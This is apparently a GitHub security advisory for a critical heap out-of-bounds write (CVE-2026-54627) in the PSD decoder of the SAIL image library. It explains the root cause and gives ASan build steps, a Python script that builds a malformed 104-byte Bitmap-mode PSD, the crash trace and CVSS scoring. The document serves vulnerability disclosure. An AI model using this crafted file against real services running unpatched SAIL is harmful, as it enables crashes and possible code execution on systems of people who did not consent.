Skip to content

Heap out-of-bounds write in SAIL PSD decoder (Bitmap mode ignores depth)

Critical
HappySeaFox published GHSA-ccqf-rv86-h3wm Jun 7, 2026

Package

sail (C library)

Affected versions

<= 0.9.10

Patched versions

1.0.0

Description

Summary

Heap out-of-bounds write in the PSD decoder. A crafted PSD in Bitmap color mode with a mismatched depth makes sail_load_from_file() write attacker-controlled bytes past the pixel buffer, corrupting the heap. Reachable by any application that loads an untrusted PSD. Distinct from the published PSD advisories (GHSA-rcqx-gc76-r9mv, GHSA-wcj8-hxxf-pq2c).

Details

psd_private_sail_pixel_format() (src/sail-codecs/psd/helpers.c:48) resolves Bitmap mode with 1 channel to SAIL_PIXEL_FORMAT_BPP1_INDEXED ignoring the file's depth field (helpers.c:55–59). The pixel buffer is therefore allocated for a 1-bit stride (bytes_per_line = ceil(width/8), e.g. 1 byte for width=8).

depth is only checked to be one of {1,8,16,32} (psd.c:174) and never required to match the mode. The decoder then reads bytes_per_channel = (width*depth+7)/8 bytes per row (psd.c:244/363) and, in the depth == 8 branch, writes one full byte per pixel:

for (unsigned pixel = 0; pixel < image->width; pixel++) {
    unsigned char* scan = (unsigned char*)sail_scan_line(image, row) + pixel * bytes_per_pixel; // psd.c:370
    *(scan + channel)   = *(psd_state->scan_buffer + pixel); // psd.c:371  OOB write
} 

For width=8, Bitmap mode, depth=8: the loop writes 8 bytes into a 1-byte row, repeated for every row -> heap overflow with attacker-controlled bytes. No guard enforces depth == 1 for Bitmap mode (the equivalent guard exists for XWD but not here).

PoC

Build with AddressSanitizer (PSD codec only, no external deps):

git clone --depth 1 https://github.com/HappySeaFox/sail.git && cd sail
cmake -S . -B b -G Ninja -DBUILD_SHARED_LIBS=OFF -DSAIL_ONLY_CODECS="psd" -DSAIL_BUILD_EXAMPLES=ON -DSAIL_BUILD_APPS=OFF -DSAIL_BUILD_BINDINGS=OFF -DBUILD_TESTING=OFF -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
ninja -C b example-junior-api

Craft a 104-byte PoC (8×8, channels=1, depth=8, mode=0 Bitmap, uncompressed -> 1-byte buffer, 8-bit writes) with the following Python script:

import struct
out  = b"8BPS" + struct.pack(">H",1) + b"\x00"*6 + struct.pack(">H",1)   # sig, ver=1, reserved, channels=1
out += struct.pack(">I",8) + struct.pack(">I",8)                         # height=8, width=8
out += struct.pack(">H",8) + struct.pack(">H",0)                         # depth=8, mode=0 (Bitmap)
out += struct.pack(">I",0)*3 + struct.pack(">H",0)                       # color/resources/layer len=0, compression=0
out += b"\x41"*64                                                        # pixel data (attacker bytes)
open("poc.psd","wb").write(out)

Then execute:

./b/examples/c/example-junior-api poc.psd

Result:

SAIL: [D] [codec_info.c:37] Finding codec info for path 'poc.psd'
SAIL: [D] [codec_info.c:228] Finding codec info for extension 'psd'
SAIL: [D] [context_private.c:58] Allocated new global context mutex
SAIL: [D] [context_private.c:230] Allocated new context 0x502000000010
SAIL: [I] [context_private.c:710] Version: 1.0.0
SAIL: [I] [context_private.c:715] Build type: Standalone
SAIL: [I] [context_private.c:719] Static build: yes
SAIL: [I] [context_private.c:725] Combine codecs: yes
SAIL: [I] [context_private.c:731] Thread-safe: yes
SAIL: [I] [context_private.c:739] SAIL_THIRD_PARTY_CODECS_PATH: disabled
SAIL: [D] [context_private.c:352] Enumerated codecs:
SAIL: [D] [context_private.c:358] 1. [p2] PSD [Photoshop Document] 0.8.3
SAIL: [D] [context_private.c:358] 2. [p3] TGA [Truevision TGA] 0.8.0
SAIL: [D] [context_private.c:785] Initialized in 1 ms.
SAIL: [D] [codec_info.c:266] Found codec info: PSD
SAIL: [D] [io_file.c:249] Opening file 'poc.psd' in 'rb' mode
SAIL: [D] [codec.c:209] Fetching V8 functions for PSD codec
=================================================================
==391901==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000858 at pc 0x5632dcd3787b bp 0x7ffe0b2db460 sp 0x7ffe0b2db458
WRITE of size 1 at 0x502000000858 thread T0
    #0 0x5632dcd3787a in sail_codec_load_frame_v8_psd /tmp/sail/src/sail-codecs/psd/psd.c:371
    #1 0x5632dcd2c77c in sail_load_next_frame /tmp/sail/src/sail/sail_advanced.c:133
    #2 0x5632dcd1ec5d in sail_load_from_file /tmp/sail/src/sail/sail_junior.c:108
    #3 0x5632dcd1d891 in main /tmp/sail/examples/c/junior.c:63
    #4 0x7f8f41c35ca7  (/lib/x86_64-linux-gnu/libc.so.6+0x29ca7) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
    #5 0x7f8f41c35d64 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29d64) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)
    #6 0x5632dcd1d620 in _start (/tmp/sail/b/examples/c/example-junior-api+0x11620) (BuildId: 532c8fec1f6883c112130b25fb93932cb3599c7c)

0x502000000858 is located 0 bytes after 8-byte region [0x502000000850,0x502000000858)
allocated by thread T0 here:
    #0 0x7f8f41ef4c57 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5632dcd52a55 in sail_malloc /tmp/sail/src/sail-common/memory.c:35
    #2 0x5632dcd2c64e in sail_load_next_frame /tmp/sail/src/sail/sail_advanced.c:130
    #3 0x5632dcd1ec5d in sail_load_from_file /tmp/sail/src/sail/sail_junior.c:108
    #4 0x5632dcd1d891 in main /tmp/sail/examples/c/junior.c:63
    #5 0x7f8f41c35ca7  (/lib/x86_64-linux-gnu/libc.so.6+0x29ca7) (BuildId: c495b62edadd6c356265942ec1282d98058a7b41)

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/sail/src/sail-codecs/psd/psd.c:371 in sail_codec_load_frame_v8_psd
Shadow bytes around the buggy address:
  0x502000000580: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x502000000600: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x502000000680: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x502000000700: fa fa fd fa fa fa fd fd fa fa fd fa fa fa 00 fa
  0x502000000780: fa fa fd fd fa fa fd fa fa fa 00 00 fa fa 00 00
=>0x502000000800: fa fa 06 fa fa fa 00 fa fa fa 00[fa]fa fa fa fa
  0x502000000880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000000900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000000980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000000a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000000a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

Impact

CWE-787 out-of-bounds (heap) write, attacker-controlled contents, triggered through the public sail_load_from_file() / sail_load_from_memory() on an untrusted image. Memory corruption -> potential remote code execution; at minimum a reliable crash (DoS). Affects any application or service using SAIL to decode PSD images: image hosts, thumbnailers and upload pipelines process such files without user interaction.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-54627

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits